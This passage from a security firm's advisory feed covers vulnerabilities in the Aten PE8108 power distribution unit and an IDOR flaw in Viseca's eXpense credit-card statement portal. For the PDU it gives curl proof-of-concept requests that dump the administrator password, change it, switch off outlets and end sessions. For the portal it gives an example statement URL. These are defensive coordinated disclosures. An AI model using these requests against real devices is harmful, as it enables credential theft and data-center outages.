&lt;pre class="literal-block"&gt;$ curl -i -s -k 'https://10.0.0.235/Log_information/Systemlog.csv'
HTTP/1.1 200 OK
Connection: close
Content-Type: application/vnd.ms-excel
Content-Disposition: attachment; filename="Systemlog.csv"
Cache-Control: max-age=0

001,2022-12-28 22:51:51 (GMT+01:00),System,Information,administrator,Log export by administrator was successful.
002,2022-12-28 22:51:34 (GMT+01:00),System,Information,administrator,Log export by administrator was successful.
003,2022-12-28 22:51:18 (GMT+01:00),System,Information,administrator,Log export by administrator was successful.
004,2022-12-28 22:51:03 (GMT+01:00),System,Information,administrator,Log export by administrator was successful.
005,2022-12-28 22:36:45 (GMT+01:00),Authentication,Information,administrator,administrator 10.0.0.12 session timed out.
006,2022-12-28 22:17:22 (GMT+01:00),System,Information,administrator,PDU configuration backup by administrator was successful.
007,2022-12-28 22:14:24 (GMT+01:00),System,Information,administrator,PDU configuration backup by administrator was successful.
008,2022-12-28 22:13:38 (GMT+01:00),System,Information,administrator,PDU configuration backup by administrator was successful.
009,2022-12-28 22:12:18 (GMT+01:00),System,Information,administrator,PDU configuration backup by administrator was successful.
010,2022-12-28 22:11:50 (GMT+01:00),System,Information,administrator,PDU configuration backup by administrator was successful.
011,2022-12-28 22:08:07 (GMT+01:00),Authentication,Information,administrator,administrator 10.0.0.12 logged in.
012,2022-12-28 22:07:46 (GMT+01:00),Authentication,Notification,administrator,administrator 10.0.0.12 login failed.
013,2022-12-28 22:07:33 (GMT+01:00),Authentication,Notification,administrator,administrator 10.0.0.12 login failed.
014,2022-12-28 22:04:06 (GMT+01:00),System,Notification,,PDU 0.0.0.0 get new IP address 10.0.0.235 from DHCP server.
015,2022-12-28 22:04:03 (GMT+01:00),System,Information,,Device was rebooted.
016,2022-12-28 16:02:29 (GMT+01:00),System,Notification,administrator,Firmware upgrade by administrator failed (Code: 30)
017,2022-12-28 16:02:17 (GMT+01:00),System,Notification,administrator,Firmware upgrade by administrator failed (Code: 30)
018,2022-12-28 16:02:07 (GMT+01:00),System,Notification,,PDU 0.0.0.0 get new IP address 10.0.0.235 from DHCP server.
[...]&lt;/pre&gt;
&lt;p&gt;Precondition: An attacker must be able to reach the web interface via the network.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="restricted-user-s-read-access-to-administrator-credentials-cve-2023-25407"&gt;
&lt;h4&gt;1.4 Restricted user's read-access to administrator credentials (CVE-2023-25407)&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L, &lt;strong&gt;7.6 High&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As described above, the PDU supports users who should have restricted access to the web interface to only manage a subset of outlets. These users will have an authenticated session. Nevertheless, an authenticated session of a restricted user should not result in access to information that could be used to circumvent intended restriction, but this is possible with the PDU.&lt;/p&gt;
&lt;p&gt;Impact: A restricted user is able to obtain the &lt;code class="docutils literal"&gt;administrator&lt;/code&gt; password. This allows full control over the PDU. An attacker may be able to switch off infastructure in a data center.&lt;/p&gt;
&lt;p&gt;Details: The following example shows how the &lt;code class="docutils literal"&gt;administrator&lt;/code&gt; password is dumped along other user data from an authenticated session with the session ID &lt;code class="docutils literal"&gt;5555555555555555&lt;/code&gt;, which belongs to the restricted user &lt;code class="docutils literal"&gt;user12345&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ curl -i -s -k 'https://10.0.0.235/xml/accounts.xml?SID=5555555555555555&amp;amp;SIndex=0&amp;amp;UID=8'
HTTP/1.1 200 OK
Connection: close
Content-Type: text/xml
Cache-Control: no-cache

&amp;lt;response&amp;gt;
     &amp;lt;oltAuthTable&amp;gt;000100000000000000;010000000000000000;020000000000000000;030000000000000000;040000000000000000;050000000000000000;060000000000000000;070000000000000000;&amp;lt;/oltAuthTable&amp;gt;
     &amp;lt;flag1&amp;gt;1&amp;lt;/flag1&amp;gt;
     &amp;lt;UT1&amp;gt;2&amp;lt;/UT1&amp;gt;
     &amp;lt;name1&amp;gt;user12345&amp;lt;/name1&amp;gt;
     &amp;lt;PWD1&amp;gt;secret123&amp;lt;/PWD1&amp;gt;

     &amp;lt;flag2&amp;gt;0&amp;lt;/flag2&amp;gt;
     &amp;lt;UT2&amp;gt;2&amp;lt;/UT2&amp;gt;
     &amp;lt;name2&amp;gt;&amp;lt;/name2&amp;gt;
     &amp;lt;PWD2&amp;gt;&amp;lt;/PWD2&amp;gt;

     &amp;lt;flag3&amp;gt;0&amp;lt;/flag3&amp;gt;
     &amp;lt;UT3&amp;gt;2&amp;lt;/UT3&amp;gt;
     &amp;lt;name3&amp;gt;&amp;lt;/name3&amp;gt;
     &amp;lt;PWD3&amp;gt;&amp;lt;/PWD3&amp;gt;

     &amp;lt;flag4&amp;gt;0&amp;lt;/flag4&amp;gt;
     &amp;lt;UT4&amp;gt;2&amp;lt;/UT4&amp;gt;
     &amp;lt;name4&amp;gt;&amp;lt;/name4&amp;gt;
     &amp;lt;PWD4&amp;gt;&amp;lt;/PWD4&amp;gt;

     &amp;lt;flag5&amp;gt;0&amp;lt;/flag5&amp;gt;
     &amp;lt;UT5&amp;gt;2&amp;lt;/UT5&amp;gt;
     &amp;lt;name5&amp;gt;&amp;lt;/name5&amp;gt;
     &amp;lt;PWD5&amp;gt;&amp;lt;/PWD5&amp;gt;

     &amp;lt;flag6&amp;gt;0&amp;lt;/flag6&amp;gt;
     &amp;lt;UT6&amp;gt;2&amp;lt;/UT6&amp;gt;
     &amp;lt;name6&amp;gt;&amp;lt;/name6&amp;gt;
     &amp;lt;PWD6&amp;gt;&amp;lt;/PWD6&amp;gt;

     &amp;lt;flag7&amp;gt;0&amp;lt;/flag7&amp;gt;
     &amp;lt;UT7&amp;gt;2&amp;lt;/UT7&amp;gt;
     &amp;lt;name7&amp;gt;&amp;lt;/name7&amp;gt;
     &amp;lt;PWD7&amp;gt;&amp;lt;/PWD7&amp;gt;

     &amp;lt;flag8&amp;gt;0&amp;lt;/flag8&amp;gt;
     &amp;lt;UT8&amp;gt;2&amp;lt;/UT8&amp;gt;
     &amp;lt;name8&amp;gt;&amp;lt;/name8&amp;gt;
     &amp;lt;PWD8&amp;gt;&amp;lt;/PWD8&amp;gt;

     &amp;lt;UT9&amp;gt;1&amp;lt;/UT9&amp;gt;
     &amp;lt;name9&amp;gt;administrator&amp;lt;/name9&amp;gt;
     &amp;lt;PWD9&amp;gt;secret123456&amp;lt;/PWD9&amp;gt;
 &amp;lt;name10&amp;gt;&amp;lt;/name10&amp;gt;
     &amp;lt;PWD10&amp;gt;&amp;lt;/PWD10&amp;gt;
     &amp;lt;name11&amp;gt;&amp;lt;/name11&amp;gt;
     &amp;lt;PWD11&amp;gt;******&amp;lt;/PWD11&amp;gt;
     &amp;lt;name12&amp;gt;&amp;lt;/name12&amp;gt;
     &amp;lt;PWD12&amp;gt;******&amp;lt;/PWD12&amp;gt;
     &amp;lt;name13&amp;gt;&amp;lt;/name13&amp;gt;
     &amp;lt;PWD13&amp;gt;******&amp;lt;/PWD13&amp;gt;

     &amp;lt;usrNameLen&amp;gt;6&amp;lt;/usrNameLen&amp;gt;
     &amp;lt;usrPswLen&amp;gt;6&amp;lt;/usrPswLen&amp;gt;
     &amp;lt;upper&amp;gt;0&amp;lt;/upper&amp;gt;
     &amp;lt;lower&amp;gt;0&amp;lt;/lower&amp;gt;
     &amp;lt;oneNumber&amp;gt;0&amp;lt;/oneNumber&amp;gt;
&amp;lt;/response&amp;gt;&lt;/pre&gt;
&lt;p&gt;Precondition: The attacker needs access to an authenticated session of a restricted user.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="restricted-user-s-write-access-to-administrator-credentials"&gt;
&lt;h4&gt;1.5 Restricted user's write-access to administrator credentials&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L, &lt;strong&gt;8.2 High&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A restricted user with a valid session is able to alter the PDU's administrator password.&lt;/p&gt;
&lt;p&gt;Impact: A restricted user is able to change the &lt;code class="docutils literal"&gt;administrator&lt;/code&gt;'s password to a known value, which allows the user to log into the PDU's web interface afterwards with full privileges. This results in access to all functions of the PDU.&lt;/p&gt;
&lt;p&gt;Details: A restricted user with a valid session is able to send the following HTTP POST request to alter the &lt;code class="docutils literal"&gt;administrator&lt;/code&gt; password:&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ curl -i -s -k -X $'POST' \
   --data-binary $'u209=new_pw' \
   $'https://10.0.0.235/user_management/accounts.cgi?SID=5555555555555555&amp;amp;SIndex=0&amp;amp;UID=8&amp;amp;Name=administrator'
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Cache-Control: no-cache&lt;/pre&gt;
&lt;p&gt;If the session ID is known (for example via a session fixiation attack), the attack could be leveraged via a Cross-Site Request Forgery attack, which is described later in this advisory.&lt;/p&gt;
&lt;p&gt;Precondition: The attacker needs access to an authenticated session of a restricted user.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="restricted-user-s-read-access-to-configuration-backup"&gt;
&lt;h4&gt;1.6 Restricted user's read-access to configuration backup&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, &lt;strong&gt;5.3 Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A restricted user is able to trigger a configuration backup operation. The resulting configuration backup can be downloaded without authentication. The backup file seems to be obfuscated, which at least does not reveal sensitive information without further analysis.&lt;/p&gt;
&lt;p&gt;Impact: This vulnerability results in the leak of a configuration backup.&lt;/p&gt;
&lt;p&gt;Details: Performing a configuration backup is a two-step process. First, in an authenticated session of a restricted user, the creation of a configuration backup is triggered as shown below:&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ curl -i -s -k -X $'POST' \
   --data-binary $'BackupPwd=' \
   $'https://10.0.0.235/maintenance/fwupgrade.cgi?SID=5555555555555555&amp;amp;SIndex=0&amp;amp;UID=8&amp;amp;Name=administrator'&lt;/pre&gt;
&lt;p&gt;In the second step, the created config backup can be downloaded without authentication:&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ curl -i -s -k 'https://10.0.0.235/maintenance/PEConfig.bin?SIndex=0&amp;amp;UID=8&amp;amp;Name=administrator' --output aten_config.bak&lt;/pre&gt;
&lt;p&gt;The backup can only be downloaded once. To download another configuration backup, the two-step process must be performed, again. In theory, an attacker could try to continuously download the backup file by repeating the second step.&lt;/p&gt;
&lt;p&gt;Precondition: The attacker needs access to an authenticated session of a restricted user to perform a backup operation. The second approach of waiting for a backup to happen and to download it, does not require authentication, but requires the attack to at least reach the PDU's web interface.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="restricted-user-s-access-to-other-user-s-outlets-cve-2023-25409"&gt;
&lt;h4&gt;1.7 Restricted user's access to other user's outlets (CVE-2023-25409)&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:L, &lt;strong&gt;5.5 Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The PDU's web interface supports multiple users and for each user, there is an access matrix, which outlets the user is able to control. There are two modes of access: A read-access should prevent the user from performing any changes to an outlet, but allows to see the state, name of the outlet and power measurements. A write-access also allows changes. However, a restricted user is able to control power outlets that have not been assigned to them due to broken authorization checks.&lt;/p&gt;
&lt;p&gt;Impact: A restricted user is able to control other user's power outlets, which may be used to switch off infrastructure in a data center.&lt;/p&gt;
&lt;p&gt;Details: To control an outlet, the user sends a POST request to the web interface within an authenticated session. A variable &lt;code class="docutils literal"&gt;outcont40X&lt;/code&gt; defines which outlet is controlled. Outlet 1 is referenced by &lt;code class="docutils literal"&gt;outcont401&lt;/code&gt; and outlet 8 is referenced by &lt;code class="docutils literal"&gt;outcont408&lt;/code&gt;. To switch off an outlet the parmeter value is set to &lt;code class="docutils literal"&gt;0&lt;/code&gt;. A &lt;code class="docutils literal"&gt;1&lt;/code&gt; enables an outlet. In the following example the user switches off outlet 4, which the user has no control off.&lt;/p&gt;
&lt;pre class="literal-block"&gt;curl -i -s -k -X $'POST' \
 --data-binary $'outcont404=0' \
 $'https://10.0.0.235/outlet_access/connections.cgi?SID=5555555555555555&amp;amp;SIndex=0&amp;amp;UID=8&amp;amp;Name=administrator'&lt;/pre&gt;
&lt;p&gt;The restricted user &lt;code class="docutils literal"&gt;user12345&lt;/code&gt; is configured to have read-access on outlet 1 and write-access on outlet 8, which is reflected by the web interface by only showing these items.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202304_aten_pdu_user_privileges.png"&gt;
&lt;img alt="The restricted user user12345 has only control on outlet 1 and outlet 8." class="align-center" src="https://www.pentagrid.ch/images/202304_aten_pdu_user_privileges.thumbnail.png"&gt;
&lt;/a&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202304_aten_pdu_user_outlet_interface.png"&gt;
&lt;img alt="Restricted access is reflected by the web interface by only showing the outlets that are considered to be under control, here outlet 1 and 8." class="align-center" src="https://www.pentagrid.ch/images/202304_aten_pdu_user_outlet_interface.thumbnail.png"&gt;
&lt;/a&gt;
&lt;p&gt;Precondition: The attacker needs access to an authenticated session of a restricted user.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="unauthenticated-session-termination-cve-2023-25414"&gt;
&lt;h4&gt;1.8 Unauthenticated session termination (CVE-2023-25414)&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L, &lt;strong&gt;3.5 Low&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An attacker is able to terminate a running session of web interface users.&lt;/p&gt;
&lt;p&gt;Impact: This allows an unauthenticated attacker to force a logout of valid users. This can be abused to deny other users access to the web interface, for example to prevent that shut down infrastructure is powered up again.&lt;/p&gt;
&lt;p&gt;Details: To terminate the administrator session, the following HTTP GET request can be sent to the web interface. In this request, &lt;code class="docutils literal"&gt;UID=8&lt;/code&gt; refers to the &lt;code class="docutils literal"&gt;administrator&lt;/code&gt;. After sending this request, the session is not valid anymore.&lt;/p&gt;
&lt;pre class="literal-block"&gt;curl -i -s -k $'https://10.0.0.235/xml/login.xml?SID=clear&amp;amp;SIndex=0&amp;amp;UID=8&amp;amp;Name=administrator'&lt;/pre&gt;
&lt;p&gt;Precondition: An attacker must be able to reach the web interface via the network.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="weak-session-management"&gt;
&lt;h3&gt;2. Weak session management&lt;/h3&gt;
&lt;p&gt;The web interface provides a session management. As described above, there are several authorization weaknesses, but the session management itself has also weaknesses, which are summerized here. In general, the web application identifies a session via the &lt;code class="docutils literal"&gt;SID&lt;/code&gt; parameter, which is a 16 hex-digit long session identifier. When a user logs into the PDU's web interface, the browser sends a username and password along with a client-generated session ID. On authentication success, the session ID is then bound to the authenticated session.&lt;/p&gt;
&lt;section id="sensitive-session-id-transferred-via-url-parameter"&gt;
&lt;h4&gt;2.1 Sensitive session ID transferred via URL parameter&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N, &lt;strong&gt;0.0 Information&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This session ID is sensitive information. The browser sends this SID as URL parameter to the web interface. URL parameters are usually an inadequate place to store sensitive information, because parameter values may leak through proxy server, browser histories, browser plugins, SSL intercepting proxies, etc. Corresponding example URLs are shown in this advisory. The session ID may also leak via HTTP referrer, which the application does not control, for example via a referrer policy.&lt;/p&gt;
&lt;p&gt;Impact: If a session ID leaks, an attacker is able to compromise a session. With access to the web interface, most PDU functions would be usable.&lt;/p&gt;
&lt;p&gt;Precondition: An attacker must be able to obtain a session ID (for example via a leak). The session must be valid and the attacker needs direct or indirect access to the PDU's web interface.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="potential-session-fixation"&gt;
&lt;h4&gt;2.2 Potential session fixation&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N, &lt;strong&gt;0.0 Information&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The web browser generates the session ID. During the login, the session ID is bound to an authentication state. If an attacker was able to define the session ID before authentication to a known value, the session would be compromised. This could be possible in combination with a cross site scripting vulnerability, but no such vulnerability was found.&lt;/p&gt;
&lt;p&gt;Impact: If an attacker is able to set a session ID, the sessions would be compromised. With access to the web interface, most PDU functions would then be usable.&lt;/p&gt;
&lt;p&gt;Details: During the authentication, the browser sends an HTTP POST request similar to the following:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /xml/login_result.xml?SID=0123456789abcdef HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

username=administrator&amp;amp;password=secret123456&lt;/pre&gt;
&lt;p&gt;The session ID (here &lt;code class="docutils literal"&gt;0123456789abcdef&lt;/code&gt;) could then be used for further HTTP requests.&lt;/p&gt;
&lt;p&gt;A value of 0 for &lt;code class="docutils literal"&gt;LoginValidate&lt;/code&gt; means an authentication success. Any other non-zero value indicates an error. As far as observed, 1 is returned for an invalid username/password pair. The server returns a 3 for too many password fails and 4 indicates a still running user session, if only a single session is allowed.&lt;/p&gt;
&lt;p&gt;Precondition: The attacker must be able to control the session ID and needs direct or indirect access to the PDU's web interface to use its functions.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="no-explicit-csrf-protection-cve-2023-25411"&gt;
&lt;h4&gt;2.3 No explicit CSRF protection (CVE-2023-25411)&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N, &lt;strong&gt;4.7 Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There is no explicit protection regarding Cross-Site Request Forgery (CSRF).&lt;/p&gt;
&lt;p&gt;Impact: In combination with unauthenticated functions, an attacker could alter configuration in the PDU, which could facilitate further attack steps.&lt;/p&gt;
&lt;p&gt;Details: In a CSRF attack, the attacker remote-controls a target application by abusing a web browser mechanism to append authentication data, when the browser sends requests to a web application. This does not require an attacker to access the targeted web interface. Instead, another user's web browser is leveraged to perform authenticated requests to the targeted web interface.&lt;/p&gt;
&lt;p&gt;The PDU's web interface does not rely on browser cookies, which would be automatically sent along with requests, but uses the &lt;code class="docutils literal"&gt;SID&lt;/code&gt; URL parameter. An implicit CSRF protection is partially given via the &lt;code class="docutils literal"&gt;SID&lt;/code&gt; parameter, which has a similar effect as an anti-CSRF token. However, as documented in this advisory, the web application does not verify the &lt;code class="docutils literal"&gt;SID&lt;/code&gt; parameter for several API calls and when this is not done for state-changing API calls, there is also no CSRF protection. For example, this is the case for the unauthenticated session termination.&lt;/p&gt;
&lt;p&gt;Precondition: An attacker must be able to trick a target user's browser to send HTTP requests to the target application. There must be an unauthenticated function to call.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="outdated-javascript-libraries"&gt;
&lt;h3&gt;3. Outdated Javascript libraries&lt;/h3&gt;
&lt;p&gt;During the analysis, JavaScript libraries were found, which are outdated and have known weaknesses.&lt;/p&gt;
&lt;p&gt;Impact: Using JavaScript components with known vulnerabilities may result in information leakage and the modification of settings in the PDU.&lt;/p&gt;
&lt;p&gt;Details: The found JavaScript libraries are:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;/lib/jquery-1.7.1.js&lt;/span&gt;&lt;/code&gt;: This library is affected by CVE-2012-6708, CVE-2015-9251, CVE-2019-11358, CVE-2020-7656, CVE-2020-11022, CVE-2020-11023.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;/lib/jquery-ui-1.8.18.custom.min.js&lt;/span&gt;&lt;/code&gt;: This library is affected by CVE-2010-5312, CVE-2012-6662, CVE-2016-7103, CVE-2022-31160, CVE-2021-41182, CVE-2021-41184, CVE-2021-41183.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All these vulnerabilities are of low to medium criticality. It has not been tested if these vulnerabilities can be exploited.&lt;/p&gt;
&lt;p&gt;Precondition: An attacker must be able to exploit a vulnerability in one of these libraries.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h2&gt;Patches and Workaround&lt;/h2&gt;
&lt;p&gt;Recommendation for the vendor:&lt;/p&gt;
&lt;p&gt;Pentagrid recommends to address the vulnerabilities found.&lt;/p&gt;
&lt;p&gt;Recommendation for users:&lt;/p&gt;
&lt;p&gt;At the time of publication, the most recent firmware is version 2.4.232 from 2022-11-22 and there is no new firmware available via Aten's website. Pentagrid recommends avoiding to expose management interfaces as a matter of attack surface reduction. Ideally, management interfaces are only accessible from a management network segment. Once an update is published, Pentagrid recommends to review the change-log and to install the update. Updates are likley published at the &lt;a class="reference external" href="https://www.aten.com/global/en/products/power-distribution-&amp;amp;-racks/rack-pdu/pe8108/"&gt;product page&lt;/a&gt; under Support and Downloads.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been found by Martin Schobert (Pentagrid).&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/multiple-vulnerabilities-in-aten-PE8108-power-distribution-unit/</guid><pubDate>Mon, 03 Apr 2023 09:42:00 GMT</pubDate></item><item><title>Credit card statement disclosure vulnerability in Viseca's eXpense portal</title><link>https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;As a security company we try to use services that are solid, trustworthy and secure and therefore we do our due diligence if we find the time for it. Checking products for IT security issues in a non-intrusive way is a part of that. You can call it supply chain security if you like.&lt;/p&gt;
&lt;p&gt;To avoid scanning credit card paper statements sent by snail mail every month, Pentagrid was looking for an option to receive them electronically. For our bank though, the only option was to sign up for Viseca's eXpense platform, which allows access to business credit card statements in PDF format. However, uppon login into the portal for the first time, our experienced analyst's gut feeling told us something is not right. For example, the second-factor authentication when doing a login on the eXpense platform was simply typing the last four digits of our telephone number. And that's definitely not state-of-the-art security.&lt;/p&gt;
&lt;p&gt;We decided to have a quick look. Our experience in web application security analysis told us that the download function for PDF statements was a good candidate to have a look at. We've seen this kind of functionality fail in many applications before. You may guess, what happened.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="approach"&gt;
&lt;h2&gt;Approach&lt;/h2&gt;
&lt;p&gt;Before signing up to Viseca's eXpense platform, we noticed that Viseca provides a demo account for a login into the eXpense platform publicly on their website.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202303_expense_demo_login.png"&gt;
&lt;img alt="Viseca's website offering the eXpense demo login." class="align-center" src="https://www.pentagrid.ch/images/202303_expense_demo_login.thumbnail.png"&gt;
&lt;/a&gt;
&lt;p&gt;When using the "demo" login credentials for Viseca's eXpense portal, Pentagrid was able to access the platform and then download Pentagrid's own credit card statement.&lt;/p&gt;
&lt;p&gt;After we found this security issue, we immediately started our Coordinated Disclosure process and tried to contact Viseca's Chief Information Security Office (CISO). We sent the first draft of vulnerability details on the following day (see timeline below).&lt;/p&gt;
&lt;p&gt;Later on we realised that logging into demo account wasn't even necessary, knowing the URL was sufficient. The identified security issue was therefore missing authentication as well as a standard Indirect Object Reference (IDOR) authorisation vulnerability.&lt;/p&gt;
&lt;p&gt;We did not conduct any further security analysis to find other issues, but it was recommended to Viseca to conduct a full security analysis on the service.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;The vulnerability allows downloading credit card statements of business customers of Viseca. As Viseca is handling credit cards for most Swiss banks (except very large banks such as UBS), it is assumed many if not most businesses with a credit card in Switzerland would have been susceptible.&lt;/p&gt;
&lt;p&gt;A credit card statement includes statements for one or more credit cards. The credit card statement includes the company address, the card account number, the card owner's names, the masked form of the credit card numbers (in the form 1111 11XX XXXX 1111), the card limits, type of card and payments made with the cards in the statement date range. Payments often allow to map the card owner to a geolocation at a certain point in time and it can reveal business relationships and preferred places for meeting customers outside of office buildings.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2022-11-10: Vulnerability noticed. Initial contact request via LinkedIn.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-11-11: Initial contact with Viseca including telephone call. Initial response by Viseca. Technical details and disclosure deadline (2023-02-09) communicated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-11-15: Further communication, clarifying that the demo account is not necessary and that the &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; parameter is mainly a timestamp.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-11-17: Viseca communicates that countermeasures are planned: Removing the demo account, fix/patch the vulnerabilities ("this week"), monitoring and investigation, check why internal security checks of supplier didn't catch it earlier.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-11-23: Findings retested by Pentagrid, unauthenticated download of Pentagrid's statement is not possible anymore.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-11-25: Viseca informs that the issue was fixed and a security analysis is currently taking place.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-12-19: Viseca provides feedback on an earlier version of this advisory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-20: Publication of advisory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-20: Republik published a background story: &lt;a class="reference external" href="https://www.republik.ch/2023/03/20/kreditkarten-abrechnungen-offen-zugaenglich-im-internet"&gt;Zehntausende Schweizer Kreditkarten-Abrechnungen offen zugänglich im Internet&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;Affected was the Viseca eXpense solution web application, which is a third-party product hosted on the third-party domain &lt;a class="reference external" href="https://www.dcalonline.com/"&gt;https://www.dcalonline.com/&lt;/a&gt;. This website indicates in it's footer that "Fiserv, Inc" is the owner. The endpoint for the PDF download responds with some interesting HTTP headers that seem to indicate that an Oracle system is used as the underlying technology:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_a25c7b9948494afa9487599b33f74dcf-1" name="rest_code_a25c7b9948494afa9487599b33f74dcf-1" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_a25c7b9948494afa9487599b33f74dcf-1"&gt;&lt;/a&gt;X-ORACLE-DMS-RID: 0
&lt;a id="rest_code_a25c7b9948494afa9487599b33f74dcf-2" name="rest_code_a25c7b9948494afa9487599b33f74dcf-2" href="https://www.pentagrid.ch/de/blog/viseca-expense-credit-card-statement-disclosure/#rest_code_a25c7b9948494afa9487599b33f74dcf-2"&gt;&lt;/a&gt;X-ORACLE-DMS-ECID: dbfb9a1e-5dae-4473-9779-a007e900c203-0001e167
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It is unknown to Pentagrid if other instances of the same software on the Internet are present or if only Viseca and Swiss Business Credit cards are affected.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;p&gt;The security issue is a standard Indirect Object Reference (IDOR) authorisation vulnerability paired with a missing authentication check (there is no need to send an HTTP cookie or similar). It could be exploited by knowing the correct URL. The following URL was taken from the authenticated area of the demo account:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.dcalonline.com/new360/EStatements?method=displayVisecaStatement&amp;amp;cardId=763454&amp;amp;visecaStatementId=20200410063027000681"&gt;https://www.dcalonline.com/new360/EStatements?method=displayVisecaStatement&amp;amp;cardId=763454&amp;amp;visecaStatementId=20200410063027000681&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Although this particular URL is referenced in the application for the demo account, it will not return a PDF. This is probably the case because there is no PDF present for the demo account or because the statement is too old (year 2020).&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal"&gt;cardId&lt;/code&gt; parameter in the URL has to be any valid &lt;code class="docutils literal"&gt;cardId&lt;/code&gt;, but it doesn't matter which &lt;code class="docutils literal"&gt;cardId&lt;/code&gt;. There seems to be no correlation on the server-side between &lt;code class="docutils literal"&gt;cardId&lt;/code&gt; and &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; and therefore using the demo account's &lt;code class="docutils literal"&gt;cardId&lt;/code&gt; of 763454 is sufficient to download other user's credit card statement.&lt;/p&gt;
&lt;p&gt;By providing any valid &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; it seemed possible to download arbitrary credit card statements from other customers of Viseca. We used one of Pentagrid's &lt;code class="docutils literal"&gt;visecaStatementId&lt;/code&gt; to download Pentagrid's credit card statement with the demo account. It was possible to download Pentagrid's credit card statement in PDF format without any authentication.&lt;/p&gt;
